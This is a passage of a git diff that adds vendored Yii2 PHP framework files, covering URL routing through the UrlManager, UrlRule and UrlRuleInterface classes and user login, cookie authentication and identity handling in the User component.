substr($pathInfo, 0, -$n); + if ($pathInfo === '') { + // suffix alone is not allowed + return false; + } + } else { + // suffix doesn't match + return false; + } + } + + return [$pathInfo, []]; + } else { + Yii::trace('Pretty URL not enabled. Using default URL parsing logic.', __METHOD__); + $route = $request->getQueryParam($this->routeParam, ''); + if (is_array($route)) { + $route = ''; + } + + return [(string) $route, []]; + } + } + + /** + * Creates a URL using the given route and query parameters. + * + * You may specify the route as a string, e.g., `site/index`. You may also use an array + * if you want to specify additional query parameters for the URL being created. The + * array format must be: + * + * ```php + * // generates: /index.php?r=site/index¶m1=value1¶m2=value2 + * ['site/index', 'param1' => 'value1', 'param2' => 'value2'] + * ``` + * + * If you want to create a URL with an anchor, you can use the array format with a `#` parameter. + * For example, + * + * ```php + * // generates: /index.php?r=site/index¶m1=value1#name + * ['site/index', 'param1' => 'value1', '#' => 'name'] + * ``` + * + * The URL created is a relative one. Use [[createAbsoluteUrl()]] to create an absolute URL. + * + * Note that unlike [[\yii\helpers\Url::toRoute()]], this method always treats the given route + * as an absolute route. + * + * @param string|array $params use a string to represent a route (e.g. `site/index`), + * or an array to represent a route with query parameters (e.g. `['site/index', 'param1' => 'value1']`). + * @return string the created URL + */ + public function createUrl($params) + { + $params = (array) $params; + $anchor = isset($params['#']) ? '#' . $params['#'] : ''; + unset($params['#'], $params[$this->routeParam]); + + $route = trim($params[0], '/'); + unset($params[0]); + + $baseUrl = $this->showScriptName || !$this->enablePrettyUrl ? $this->getScriptUrl() : $this->getBaseUrl(); + + if ($this->enablePrettyUrl) { + /* @var $rule UrlRule */ + foreach ($this->rules as $rule) { + if (($url = $rule->createUrl($this, $route, $params)) !== false) { + if (strpos($url, '://') !== false) { + if ($baseUrl !== '' && ($pos = strpos($url, '/', 8)) !== false) { + return substr($url, 0, $pos) . $baseUrl . substr($url, $pos); + } else { + return $url . $baseUrl . $anchor; + } + } else { + return "$baseUrl/{$url}{$anchor}"; + } + } + } + + if ($this->suffix !== null) { + $route .= $this->suffix; + } + if (!empty($params) && ($query = http_build_query($params)) !== '') { + $route .= '?' . $query; + } + + return "$baseUrl/{$route}{$anchor}"; + } else { + $url = "$baseUrl?{$this->routeParam}=" . urlencode($route); + if (!empty($params) && ($query = http_build_query($params)) !== '') { + $url .= '&' . $query; + } + + return $url . $anchor; + } + } + + /** + * Creates an absolute URL using the given route and query parameters. + * + * This method prepends the URL created by [[createUrl()]] with the [[hostInfo]]. + * + * Note that unlike [[\yii\helpers\Url::toRoute()]], this method always treats the given route + * as an absolute route. + * + * @param string|array $params use a string to represent a route (e.g. `site/index`), + * or an array to represent a route with query parameters (e.g. `['site/index', 'param1' => 'value1']`). + * @param string $scheme the scheme to use for the url (either `http` or `https`). If not specified + * the scheme of the current request will be used. + * @return string the created URL + * @see createUrl() + */ + public function createAbsoluteUrl($params, $scheme = null) + { + $params = (array) $params; + $url = $this->createUrl($params); + if (strpos($url, '://') === false) { + $url = $this->getHostInfo() . $url; + } + if (is_string($scheme) && ($pos = strpos($url, '://')) !== false) { + $url = $scheme . substr($url, $pos); + } + + return $url; + } + + /** + * Returns the base URL that is used by [[createUrl()]] to prepend to created URLs. + * It defaults to [[Request::baseUrl]]. + * This is mainly used when [[enablePrettyUrl]] is true and [[showScriptName]] is false. + * @return string the base URL that is used by [[createUrl()]] to prepend to created URLs. + * @throws InvalidConfigException if running in console application and [[baseUrl]] is not configured. + */ + public function getBaseUrl() + { + if ($this->_baseUrl === null) { + $request = Yii::$app->getRequest(); + if ($request instanceof Request) { + $this->_baseUrl = $request->getBaseUrl(); + } else { + throw new InvalidConfigException('Please configure UrlManager::baseUrl correctly as you are running a console application.'); + } + } + + return $this->_baseUrl; + } + + /** + * Sets the base URL that is used by [[createUrl()]] to prepend to created URLs. + * This is mainly used when [[enablePrettyUrl]] is true and [[showScriptName]] is false. + * @param string $value the base URL that is used by [[createUrl()]] to prepend to created URLs. + */ + public function setBaseUrl($value) + { + $this->_baseUrl = rtrim($value, '/'); + } + + /** + * Returns the entry script URL that is used by [[createUrl()]] to prepend to created URLs. + * It defaults to [[Request::scriptUrl]]. + * This is mainly used when [[enablePrettyUrl]] is false or [[showScriptName]] is true. + * @return string the entry script URL that is used by [[createUrl()]] to prepend to created URLs. + * @throws InvalidConfigException if running in console application and [[scriptUrl]] is not configured. + */ + public function getScriptUrl() + { + if ($this->_scriptUrl === null) { + $request = Yii::$app->getRequest(); + if ($request instanceof Request) { + $this->_scriptUrl = $request->getScriptUrl(); + } else { + throw new InvalidConfigException('Please configure UrlManager::scriptUrl correctly as you are running a console application.'); + } + } + + return $this->_scriptUrl; + } + + /** + * Sets the entry script URL that is used by [[createUrl()]] to prepend to created URLs. + * This is mainly used when [[enablePrettyUrl]] is false or [[showScriptName]] is true. + * @param string $value the entry script URL that is used by [[createUrl()]] to prepend to created URLs. + */ + public function setScriptUrl($value) + { + $this->_scriptUrl = $value; + } + + /** + * Returns the host info that is used by [[createAbsoluteUrl()]] to prepend to created URLs. + * @return string the host info (e.g. "http://www.example.com") that is used by [[createAbsoluteUrl()]] to prepend to created URLs. + * @throws InvalidConfigException if running in console application and [[hostInfo]] is not configured. + */ + public function getHostInfo() + { + if ($this->_hostInfo === null) { + $request = Yii::$app->getRequest(); + if ($request instanceof \yii\web\Request) { + $this->_hostInfo = $request->getHostInfo(); + } else { + throw new InvalidConfigException('Please configure UrlManager::hostInfo correctly as you are running a console application.'); + } + } + + return $this->_hostInfo; + } + + /** + * Sets the host info that is used by [[createAbsoluteUrl()]] to prepend to created URLs. + * @param string $value the host info (e.g. "http://www.example.com") that is used by [[createAbsoluteUrl()]] to prepend to created URLs. + */ + public function setHostInfo($value) + { + $this->_hostInfo = rtrim($value, '/'); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/UrlRule.php b/php/yii2/basic/vendor/yiisoft/yii2/web/UrlRule.php new file mode 100644 index 00000000..64cbbc93 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/UrlRule.php @@ -0,0 +1,344 @@ + [ + * ['class' => 'MyUrlRule', 'pattern' => '...', 'route' => 'site/index', ...], + * // ... + * ] + * ~~~ + * + * @author Qiang Xue + * @since 2.0 + */ +class UrlRule extends Object implements UrlRuleInterface +{ + /** + * Set [[mode]] with this value to mark that this rule is for URL parsing only + */ + const PARSING_ONLY = 1; + /** + * Set [[mode]] with this value to mark that this rule is for URL creation only + */ + const CREATION_ONLY = 2; + + /** + * @var string the name of this rule. If not set, it will use [[pattern]] as the name. + */ + public $name; + /** + * @var string the pattern used to parse and create the path info part of a URL. + * @see host + */ + public $pattern; + /** + * @var string the pattern used to parse and create the host info part of a URL (e.g. `http://example.com`). + * @see pattern + */ + public $host; + /** + * @var string the route to the controller action + */ + public $route; + /** + * @var array the default GET parameters (name => value) that this rule provides. + * When this rule is used to parse the incoming request, the values declared in this property + * will be injected into $_GET. + */ + public $defaults = []; + /** + * @var string the URL suffix used for this rule. + * For example, ".html" can be used so that the URL looks like pointing to a static HTML page. + * If not, the value of [[UrlManager::suffix]] will be used. + */ + public $suffix; + /** + * @var string|array the HTTP verb (e.g. GET, POST, DELETE) that this rule should match. + * Use array to represent multiple verbs that this rule may match. + * If this property is not set, the rule can match any verb. + * Note that this property is only used when parsing a request. It is ignored for URL creation. + */ + public $verb; + /** + * @var integer a value indicating if this rule should be used for both request parsing and URL creation, + * parsing only, or creation only. + * If not set or 0, it means the rule is both request parsing and URL creation. + * If it is [[PARSING_ONLY]], the rule is for request parsing only. + * If it is [[CREATION_ONLY]], the rule is for URL creation only. + */ + public $mode; + /** + * @var bool a value indicating if parameters should be url encoded. + */ + public $encodeParams = true; + + /** + * @var string the template for generating a new URL. This is derived from [[pattern]] and is used in generating URL. + */ + private $_template; + /** + * @var string the regex for matching the route part. This is used in generating URL. + */ + private $_routeRule; + /** + * @var array list of regex for matching parameters. This is used in generating URL. + */ + private $_paramRules = []; + /** + * @var array list of parameters used in the route. + */ + private $_routeParams = []; + + + /** + * Initializes this rule. + */ + public function init() + { + if ($this->pattern === null) { + throw new InvalidConfigException('UrlRule::pattern must be set.'); + } + if ($this->route === null) { + throw new InvalidConfigException('UrlRule::route must be set.'); + } + if ($this->verb !== null) { + if (is_array($this->verb)) { + foreach ($this->verb as $i => $verb) { + $this->verb[$i] = strtoupper($verb); + } + } else { + $this->verb = [strtoupper($this->verb)]; + } + } + if ($this->name === null) { + $this->name = $this->pattern; + } + + $this->pattern = trim($this->pattern, '/'); + + if ($this->host !== null) { + $this->host = rtrim($this->host, '/'); + $this->pattern = rtrim($this->host . '/' . $this->pattern, '/'); + } elseif ($this->pattern === '') { + $this->_template = ''; + $this->pattern = '#^$#u'; + + return; + } elseif (($pos = strpos($this->pattern, '://')) !== false) { + if (($pos2 = strpos($this->pattern, '/', $pos + 3)) !== false) { + $this->host = substr($this->pattern, 0, $pos2); + } else { + $this->host = $this->pattern; + } + } else { + $this->pattern = '/' . $this->pattern . '/'; + } + + $this->route = trim($this->route, '/'); + if (strpos($this->route, '<') !== false && preg_match_all('/<(\w+)>/', $this->route, $matches)) { + foreach ($matches[1] as $name) { + $this->_routeParams[$name] = "<$name>"; + } + } + + $tr = [ + '.' => '\\.', + '*' => '\\*', + '$' => '\\$', + '[' => '\\[', + ']' => '\\]', + '(' => '\\(', + ')' => '\\)', + ]; + $tr2 = []; + if (preg_match_all('/<(\w+):?([^>]+)?>/', $this->pattern, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER)) { + foreach ($matches as $match) { + $name = $match[1][0]; + $pattern = isset($match[2][0]) ? $match[2][0] : '[^\/]+'; + if (array_key_exists($name, $this->defaults)) { + $length = strlen($match[0][0]); + $offset = $match[0][1]; + if ($offset > 1 && $this->pattern[$offset - 1] === '/' && $this->pattern[$offset + $length] === '/') { + $tr["/<$name>"] = "(/(?P<$name>$pattern))?"; + } else { + $tr["<$name>"] = "(?P<$name>$pattern)?"; + } + } else { + $tr["<$name>"] = "(?P<$name>$pattern)"; + } + if (isset($this->_routeParams[$name])) { + $tr2["<$name>"] = "(?P<$name>$pattern)"; + } else { + $this->_paramRules[$name] = $pattern === '[^\/]+' ? '' : "#^$pattern$#"; + } + } + } + + $this->_template = preg_replace('/<(\w+):?([^>]+)?>/', '<$1>', $this->pattern); + $this->pattern = '#^' . trim(strtr($this->_template, $tr), '/') . '$#u'; + + if (!empty($this->_routeParams)) { + $this->_routeRule = '#^' . strtr($this->route, $tr2) . '$#u'; + } + } + + /** + * Parses the given request and returns the corresponding route and parameters. + * @param UrlManager $manager the URL manager + * @param Request $request the request component + * @return array|boolean the parsing result. The route and the parameters are returned as an array. + * If false, it means this rule cannot be used to parse this path info. + */ + public function parseRequest($manager, $request) + { + if ($this->mode === self::CREATION_ONLY) { + return false; + } + + if (!empty($this->verb) && !in_array($request->getMethod(), $this->verb, true)) { + return false; + } + + $pathInfo = $request->getPathInfo(); + $suffix = (string) ($this->suffix === null ? $manager->suffix : $this->suffix); + if ($suffix !== '' && $pathInfo !== '') { + $n = strlen($suffix); + if (substr_compare($pathInfo, $suffix, -$n, $n) === 0) { + $pathInfo = substr($pathInfo, 0, -$n); + if ($pathInfo === '') { + // suffix alone is not allowed + return false; + } + } else { + return false; + } + } + + if ($this->host !== null) { + $pathInfo = strtolower($request->getHostInfo()) . ($pathInfo === '' ? '' : '/' . $pathInfo); + } + + if (!preg_match($this->pattern, $pathInfo, $matches)) { + return false; + } + foreach ($this->defaults as $name => $value) { + if (!isset($matches[$name]) || $matches[$name] === '') { + $matches[$name] = $value; + } + } + $params = $this->defaults; + $tr = []; + foreach ($matches as $name => $value) { + if (isset($this->_routeParams[$name])) { + $tr[$this->_routeParams[$name]] = $value; + unset($params[$name]); + } elseif (isset($this->_paramRules[$name])) { + $params[$name] = $value; + } + } + if ($this->_routeRule !== null) { + $route = strtr($this->route, $tr); + } else { + $route = $this->route; + } + + Yii::trace("Request parsed with URL rule: {$this->name}", __METHOD__); + + return [$route, $params]; + } + + /** + * Creates a URL according to the given route and parameters. + * @param UrlManager $manager the URL manager + * @param string $route the route. It should not have slashes at the beginning or the end. + * @param array $params the parameters + * @return string|boolean the created URL, or false if this rule cannot be used for creating this URL. + */ + public function createUrl($manager, $route, $params) + { + if ($this->mode === self::PARSING_ONLY) { + return false; + } + + $tr = []; + + // match the route part first + if ($route !== $this->route) { + if ($this->_routeRule !== null && preg_match($this->_routeRule, $route, $matches)) { + foreach ($this->_routeParams as $name => $token) { + if (isset($this->defaults[$name]) && strcmp($this->defaults[$name], $matches[$name]) === 0) { + $tr[$token] = ''; + } else { + $tr[$token] = $matches[$name]; + } + } + } else { + return false; + } + } + + // match default params + // if a default param is not in the route pattern, its value must also be matched + foreach ($this->defaults as $name => $value) { + if (isset($this->_routeParams[$name])) { + continue; + } + if (!isset($params[$name])) { + return false; + } elseif (strcmp($params[$name], $value) === 0) { // strcmp will do string conversion automatically + unset($params[$name]); + if (isset($this->_paramRules[$name])) { + $tr["<$name>"] = ''; + } + } elseif (!isset($this->_paramRules[$name])) { + return false; + } + } + + // match params in the pattern + foreach ($this->_paramRules as $name => $rule) { + if (isset($params[$name]) && !is_array($params[$name]) && ($rule === '' || preg_match($rule, $params[$name]))) { + $tr["<$name>"] = $this->encodeParams ? urlencode($params[$name]) : $params[$name]; + unset($params[$name]); + } elseif (!isset($this->defaults[$name]) || isset($params[$name])) { + return false; + } + } + + $url = trim(strtr($this->_template, $tr), '/'); + if ($this->host !== null) { + $pos = strpos($url, '/', 8); + if ($pos !== false) { + $url = substr($url, 0, $pos) . preg_replace('#/+#', '/', substr($url, $pos)); + } + } elseif (strpos($url, '//') !== false) { + $url = preg_replace('#/+#', '/', $url); + } + + if ($url !== '') { + $url .= ($this->suffix === null ? $manager->suffix : $this->suffix); + } + + if (!empty($params) && ($query = http_build_query($params)) !== '') { + $url .= '?' . $query; + } + + return $url; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/UrlRuleInterface.php b/php/yii2/basic/vendor/yiisoft/yii2/web/UrlRuleInterface.php new file mode 100644 index 00000000..3d837d3d --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/UrlRuleInterface.php @@ -0,0 +1,34 @@ + + * @since 2.0 + */ +interface UrlRuleInterface +{ + /** + * Parses the given request and returns the corresponding route and parameters. + * @param UrlManager $manager the URL manager + * @param Request $request the request component + * @return array|boolean the parsing result. The route and the parameters are returned as an array. + * If false, it means this rule cannot be used to parse this path info. + */ + public function parseRequest($manager, $request); + /** + * Creates a URL according to the given route and parameters. + * @param UrlManager $manager the URL manager + * @param string $route the route. It should not have slashes at the beginning or the end. + * @param array $params the parameters + * @return string|boolean the created URL, or false if this rule cannot be used for creating this URL. + */ + public function createUrl($manager, $route, $params); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/User.php b/php/yii2/basic/vendor/yiisoft/yii2/web/User.php new file mode 100644 index 00000000..96baf99b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/User.php @@ -0,0 +1,666 @@ +user`. + * + * You can modify its configuration by adding an array to your application config under `components` + * as it is shown in the following example: + * + * ~~~ + * 'user' => [ + * 'identityClass' => 'app\models\User', // User must implement the IdentityInterface + * 'enableAutoLogin' => true, + * // 'loginUrl' => ['user/login'], + * // ... + * ] + * ~~~ + * + * @property string|integer $id The unique identifier for the user. If null, it means the user is a guest. + * This property is read-only. + * @property IdentityInterface|null $identity The identity object associated with the currently logged-in + * user. `null` is returned if the user is not logged in (not authenticated). + * @property boolean $isGuest Whether the current user is a guest. This property is read-only. + * @property string $returnUrl The URL that the user should be redirected to after login. Note that the type + * of this property differs in getter and setter. See [[getReturnUrl()]] and [[setReturnUrl()]] for details. + * + * @author Qiang Xue + * @since 2.0 + */ +class User extends Component +{ + const EVENT_BEFORE_LOGIN = 'beforeLogin'; + const EVENT_AFTER_LOGIN = 'afterLogin'; + const EVENT_BEFORE_LOGOUT = 'beforeLogout'; + const EVENT_AFTER_LOGOUT = 'afterLogout'; + + /** + * @var string the class name of the [[identity]] object. + */ + public $identityClass; + /** + * @var boolean whether to enable cookie-based login. Defaults to false. + * Note that this property will be ignored if [[enableSession]] is false. + */ + public $enableAutoLogin = false; + /** + * @var boolean whether to use session to persist authentication status across multiple requests. + * You set this property to be false if your application is stateless, which is often the case + * for RESTful APIs. + */ + public $enableSession = true; + /** + * @var string|array the URL for login when [[loginRequired()]] is called. + * If an array is given, [[UrlManager::createUrl()]] will be called to create the corresponding URL. + * The first element of the array should be the route to the login action, and the rest of + * the name-value pairs are GET parameters used to construct the login URL. For example, + * + * ~~~ + * ['site/login', 'ref' => 1] + * ~~~ + * + * If this property is null, a 403 HTTP exception will be raised when [[loginRequired()]] is called. + */ + public $loginUrl = ['site/login']; + /** + * @var array the configuration of the identity cookie. This property is used only when [[enableAutoLogin]] is true. + * @see Cookie + */ + public $identityCookie = ['name' => '_identity', 'httpOnly' => true]; + /** + * @var integer the number of seconds in which the user will be logged out automatically if he + * remains inactive. If this property is not set, the user will be logged out after + * the current session expires (c.f. [[Session::timeout]]). + * Note that this will not work if [[enableAutoLogin]] is true. + */ + public $authTimeout; + /** + * @var integer the number of seconds in which the user will be logged out automatically + * regardless of activity. + * Note that this will not work if [[enableAutoLogin]] is true. + */ + public $absoluteAuthTimeout; + /** + * @var boolean whether to automatically renew the identity cookie each time a page is requested. + * This property is effective only when [[enableAutoLogin]] is true. + * When this is false, the identity cookie will expire after the specified duration since the user + * is initially logged in. When this is true, the identity cookie will expire after the specified duration + * since the user visits the site the last time. + * @see enableAutoLogin + */ + public $autoRenewCookie = true; + /** + * @var string the session variable name used to store the value of [[id]]. + */ + public $idParam = '__id'; + /** + * @var string the session variable name used to store the value of expiration timestamp of the authenticated state. + * This is used when [[authTimeout]] is set. + */ + public $authTimeoutParam = '__expire'; + /** + * @var string the session variable name used to store the value of absolute expiration timestamp of the authenticated state. + * This is used when [[absoluteAuthTimeout]] is set. + */ + public $absoluteAuthTimeoutParam = '__absoluteExpire'; + /** + * @var string the session variable name used to store the value of [[returnUrl]]. + */ + public $returnUrlParam = '__returnUrl'; + + private $_access = []; + + + /** + * Initializes the application component. + */ + public function init() + { + parent::init(); + + if ($this->identityClass === null) { + throw new InvalidConfigException('User::identityClass must be set.'); + } + if ($this->enableAutoLogin && !isset($this->identityCookie['name'])) { + throw new InvalidConfigException('User::identityCookie must contain the "name" element.'); + } + } + + private $_identity = false; + + /** + * Returns the identity object associated with the currently logged-in user. + * When [[enableSession]] is true, this method may attempt to read the user's authentication data + * stored in session and reconstruct the corresponding identity object, if it has not done so before. + * @param boolean $autoRenew whether to automatically renew authentication status if it has not been done so before. + * This is only useful when [[enableSession]] is true. + * @return IdentityInterface|null the identity object associated with the currently logged-in user. + * `null` is returned if the user is not logged in (not authenticated). + * @see login() + * @see logout() + */ + public function getIdentity($autoRenew = true) + { + if ($this->_identity === false) { + if ($this->enableSession && $autoRenew) { + $this->renewAuthStatus(); + } else { + return null; + } + } + + return $this->_identity; + } + + /** + * Sets the user identity object. + * + * Note that this method does not deal with session or cookie. You should usually use [[switchIdentity()]] + * to change the identity of the current user. + * + * @param IdentityInterface|null $identity the identity object associated with the currently logged user. + * If null, it means the current user will be a guest without any associated identity. + * @throws InvalidValueException if `$identity` object does not implement [[IdentityInterface]]. + */ + public function setIdentity($identity) + { + if ($identity instanceof IdentityInterface) { + $this->_identity = $identity; + $this->_access = []; + } elseif ($identity === null) { + $this->_identity = null; + } else { + throw new InvalidValueException('The identity object must implement IdentityInterface.'); + } + } + + /** + * Logs in a user. + * + * After logging in a user, you may obtain the user's identity information from the [[identity]] property. + * If [[enableSession]] is true, you may even get the identity information in the next requests without + * calling this method again. + * + * The login status is maintained according to the `$duration` parameter: + * + * - `$duration == 0`: the identity information will be stored in session and will be available + * via [[identity]] as long as the session remains active. + * - `$duration > 0`: the identity information will be stored in session. If [[enableAutoLogin]] is true, + * it will also be stored in a cookie which will expire in `$duration` seconds. As long as + * the cookie remains valid or the session is active, you may obtain the user identity information + * via [[identity]]. + * + * Note that if [[enableSession]] is false, the `$duration` parameter will be ignored as it is meaningless + * in this case. + * + * @param IdentityInterface $identity the user identity (which should already be authenticated) + * @param integer $duration number of seconds that the user can remain in logged-in status. + * Defaults to 0, meaning login till the user closes the browser or the session is manually destroyed. + * If greater than 0 and [[enableAutoLogin]] is true, cookie-based login will be supported. + * Note that if [[enableSession]] is false, this parameter will be ignored. + * @return boolean whether the user is logged in + */ + public function login(IdentityInterface $identity, $duration = 0) + { + if ($this->beforeLogin($identity, false, $duration)) { + $this->switchIdentity($identity, $duration); + $id = $identity->getId(); + $ip = Yii::$app->getRequest()->getUserIP(); + if ($this->enableSession) { + $log = "User '$id' logged in from $ip with duration $duration."; + } else { + $log = "User '$id' logged in from $ip. Session not enabled."; + } + Yii::info($log, __METHOD__); + $this->afterLogin($identity, false, $duration); + } + + return !$this->getIsGuest(); + } + + /** + * Logs in a user by the given access token. + * This method will first authenticate the user by calling [[IdentityInterface::findIdentityByAccessToken()]] + * with the provided access token. If successful, it will call [[login()]] to log in the authenticated user. + * If authentication fails or [[login()]] is unsuccessful, it will return null. + * @param string $token the access token + * @param mixed $type the type of the token. The value of this parameter depends on the implementation. + * For example, [[\yii\filters\auth\HttpBearerAuth]] will set this parameter to be `yii\filters\auth\HttpBearerAuth`. + * @return IdentityInterface|null the identity associated with the given access token. Null is returned if + * the access token is invalid or [[login()]] is unsuccessful. + */ + public function loginByAccessToken($token, $type = null) + { + /* @var $class IdentityInterface */ + $class = $this->identityClass; + $identity = $class::findIdentityByAccessToken($token, $type); + if ($identity && $this->login($identity)) { + return $identity; + } else { + return null; + } + } + + /** + * Logs in a user by cookie. + * + * This method attempts to log in a user using the ID and authKey information + * provided by the [[identityCookie|identity cookie]]. + */ + protected function loginByCookie() + { + $value = Yii::$app->getRequest()->getCookies()->getValue($this->identityCookie['name']); + if ($value === null) { + return; + } + + $data = json_decode($value, true); + if (count($data) !== 3 || !isset($data[0], $data[1], $data[2])) { + return; + } + + list ($id, $authKey, $duration) = $data; + /* @var $class IdentityInterface */ + $class = $this->identityClass; + $identity = $class::findIdentity($id); + if ($identity === null) { + return; + } elseif (!$identity instanceof IdentityInterface) { + throw new InvalidValueException("$class::findIdentity() must return an object implementing IdentityInterface."); + } + + if ($identity->validateAuthKey($authKey)) { + if ($this->beforeLogin($identity, true, $duration)) { + $this->switchIdentity($identity, $this->autoRenewCookie ? $duration : 0); + $ip = Yii::$app->getRequest()->getUserIP(); + Yii::info("User '$id' logged in from $ip via cookie.", __METHOD__); + $this->afterLogin($identity, true, $duration); + } + } else { + Yii::warning("Invalid auth key attempted for user '$id': $authKey", __METHOD__); + } + } + + /** + * Logs out the current user. + * This will remove authentication-related session data. + * If `$destroySession` is true, all session data will be removed. + * @param boolean $destroySession whether to destroy the whole session. Defaults to true. + * This parameter is ignored if [[enableSession]] is false. + * @return boolean whether the user is logged out + */ + public function logout($destroySession = true) + { + $identity = $this->getIdentity(); + if ($identity !== null && $this->beforeLogout($identity)) { + $this->switchIdentity(null); + $id = $identity->getId(); + $ip = Yii::$app->getRequest()->getUserIP(); + Yii::info("User '$id' logged out from $ip.", __METHOD__); + if ($destroySession && $this->enableSession) { + Yii::$app->getSession()->destroy(); + } + $this->afterLogout($identity); + } + + return $this->getIsGuest(); + } + + /** + * Returns a value indicating whether the user is a guest (not authenticated). + * @return boolean whether the current user is a guest. + * @see getIdentity() + */ + public function getIsGuest() + { + return $this->getIdentity() === null; + } + + /** + * Returns a value that uniquely represents the user. + * @return string|integer the unique identifier for the user. If null, it means the user is a guest. + * @see getIdentity() + */ + public function getId() + { + $identity = $this->getIdentity(); + + return $identity !== null ? $identity->getId() : null; + } + + /** + * Returns the URL that the browser should be redirected to after successful login. + * + * This method reads the return URL from the session. It is usually used by the login action which + * may call this method to redirect the browser to where it goes after successful authentication. + * + * @param string|array $defaultUrl the default return URL in case it was not set previously. + * If this is null and the return URL was not set previously, [[Application::homeUrl]] will be redirected to. + * Please refer to [[setReturnUrl()]] on accepted format of the URL. + * @return string the URL that the user should be redirected to after login. + * @see loginRequired() + */ + public function getReturnUrl($defaultUrl = null) + { + $url = Yii::$app->getSession()->get($this->returnUrlParam, $defaultUrl); + if (is_array($url)) { + if (isset($url[0])) { + return Yii::$app->getUrlManager()->createUrl($url); + } else { + $url = null; + } + } + + return $url === null ? Yii::$app->getHomeUrl() : $url; + } + + /** + * Remembers the URL in the session so that it can be retrieved back later by [[getReturnUrl()]]. + * @param string|array $url the URL that the user should be redirected to after login. + * If an array is given, [[UrlManager::createUrl()]] will be called to create the corresponding URL. + * The first element of the array should be the route, and the rest of + * the name-value pairs are GET parameters used to construct the URL. For example, + * + * ~~~ + * ['admin/index', 'ref' => 1] + * ~~~ + */ + public function setReturnUrl($url) + { + Yii::$app->getSession()->set($this->returnUrlParam, $url); + } + + /** + * Redirects the user browser to the login page. + * + * Before the redirection, the current URL (if it's not an AJAX url) will be kept as [[returnUrl]] so that + * the user browser may be redirected back to the current page after successful login. + * + * Make sure you set [[loginUrl]] so that the user browser can be redirected to the specified login URL after + * calling this method. + * + * Note that when [[loginUrl]] is set, calling this method will NOT terminate the application execution. + * + * @param boolean $checkAjax whether to check if the request is an AJAX request. When this is true and the request + * is an AJAX request, the current URL (for AJAX request) will NOT be set as the return URL. + * @return Response the redirection response if [[loginUrl]] is set + * @throws ForbiddenHttpException the "Access Denied" HTTP exception if [[loginUrl]] is not set + */ + public function loginRequired($checkAjax = true) + { + $request = Yii::$app->getRequest(); + if ($this->enableSession && (!$checkAjax || !$request->getIsAjax())) { + $this->setReturnUrl($request->getUrl()); + } + if ($this->loginUrl !== null) { + return Yii::$app->getResponse()->redirect($this->loginUrl); + } else { + throw new ForbiddenHttpException(Yii::t('yii', 'Login Required')); + } + } + + /** + * This method is called before logging in a user. + * The default implementation will trigger the [[EVENT_BEFORE_LOGIN]] event. + * If you override this method, make sure you call the parent implementation + * so that the event is triggered. + * @param IdentityInterface $identity the user identity information + * @param boolean $cookieBased whether the login is cookie-based + * @param integer $duration number of seconds that the user can remain in logged-in status. + * If 0, it means login till the user closes the browser or the session is manually destroyed. + * @return boolean whether the user should continue to be logged in + */ + protected function beforeLogin($identity, $cookieBased, $duration) + { + $event = new UserEvent([ + 'identity' => $identity, + 'cookieBased' => $cookieBased, + 'duration' => $duration, + ]); + $this->trigger(self::EVENT_BEFORE_LOGIN, $event); + + return $event->isValid; + } + + /** + * This method is called after the user is successfully logged in. + * The default implementation will trigger the [[EVENT_AFTER_LOGIN]] event. + * If you override this method, make sure you call the parent implementation + * so that the event is triggered. + * @param IdentityInterface $identity the user identity information + * @param boolean $cookieBased whether the login is cookie-based + * @param integer $duration number of seconds that the user can remain in logged-in status. + * If 0, it means login till the user closes the browser or the session is manually destroyed. + */ + protected function afterLogin($identity, $cookieBased, $duration) + { + $this->trigger(self::EVENT_AFTER_LOGIN, new UserEvent([ + 'identity' => $identity, + 'cookieBased' => $cookieBased, + 'duration' => $duration, + ])); + } + + /** + * This method is invoked when calling [[logout()]] to log out a user. + * The default implementation will trigger the [[EVENT_BEFORE_LOGOUT]] event. + * If you override this method, make sure you call the parent implementation + * so that the event is triggered. + * @param IdentityInterface $identity the user identity information + * @return boolean whether the user should continue to be logged out + */ + protected function beforeLogout($identity) + { + $event = new UserEvent([ + 'identity' => $identity, + ]); + $this->trigger(self::EVENT_BEFORE_LOGOUT, $event); + + return $event->isValid; + } + + /** + * This method is invoked right after a user is logged out via [[logout()]]. + * The default implementation will trigger the [[EVENT_AFTER_LOGOUT]] event. + * If you override this method, make sure you call the parent implementation + * so that the event is triggered. + * @param IdentityInterface $identity the user identity information + */ + protected function afterLogout($identity) + { + $this->trigger(self::EVENT_AFTER_LOGOUT, new UserEvent([ + 'identity' => $identity, + ])); + } + + /** + * Renews the identity cookie. + * This method will set the expiration time of the identity cookie to be the current time + * plus the originally specified cookie duration. + */ + protected function renewIdentityCookie() + { + $name = $this->identityCookie['name']; + $value = Yii::$app->getRequest()->getCookies()->getValue($name); + if ($value !== null) { + $data = json_decode($value, true); + if (is_array($data) && isset($data[2])) { + $cookie = new Cookie($this->identityCookie); + $cookie->value = $value; + $cookie->expire = time() + (int) $data[2]; + Yii::$app->getResponse()->getCookies()->add($cookie); + } + } + } + + /** + * Sends an identity cookie. + * This method is used when [[enableAutoLogin]] is true. + * It saves [[id]], [[IdentityInterface::getAuthKey()|auth key]], and the duration of cookie-based login + * information in the cookie. + * @param IdentityInterface $identity + * @param integer $duration number of seconds that the user can remain in logged-in status. + * @see loginByCookie() + */ + protected function sendIdentityCookie($identity, $duration) + { + $cookie = new Cookie($this->identityCookie); + $cookie->value = json_encode([ + $identity->getId(), + $identity->getAuthKey(), + $duration, + ]); + $cookie->expire = time() + $duration; + Yii::$app->getResponse()->getCookies()->add($cookie); + } + + /** + * Switches to a new identity for the current user. + * + * When [[enableSession]] is true, this method may use session and/or cookie to store the user identity information, + * according to the value of `$duration`. Please refer to [[login()]] for more details. + * + * This method is mainly called by [[login()]], [[logout()]] and [[loginByCookie()]] + * when the current user needs to be associated with the corresponding identity information. + * + * @param IdentityInterface|null $identity the identity information to be associated with the current user. + * If null, it means switching the current user to be a guest. + * @param integer $duration number of seconds that the user can remain in logged-in status. + * This parameter is used only when `$identity` is not null. + */ + public function switchIdentity($identity, $duration = 0) + { + $this->setIdentity($identity); + + if (!$this->enableSession) { + return; + } + + $session = Yii::$app->getSession(); + if (!YII_ENV_TEST) { + $session->regenerateID(true); + } + $session->remove($this->idParam); + $session->remove($this->authTimeoutParam); + + if ($identity) { + $session->set($this->idParam, $identity->getId()); + if 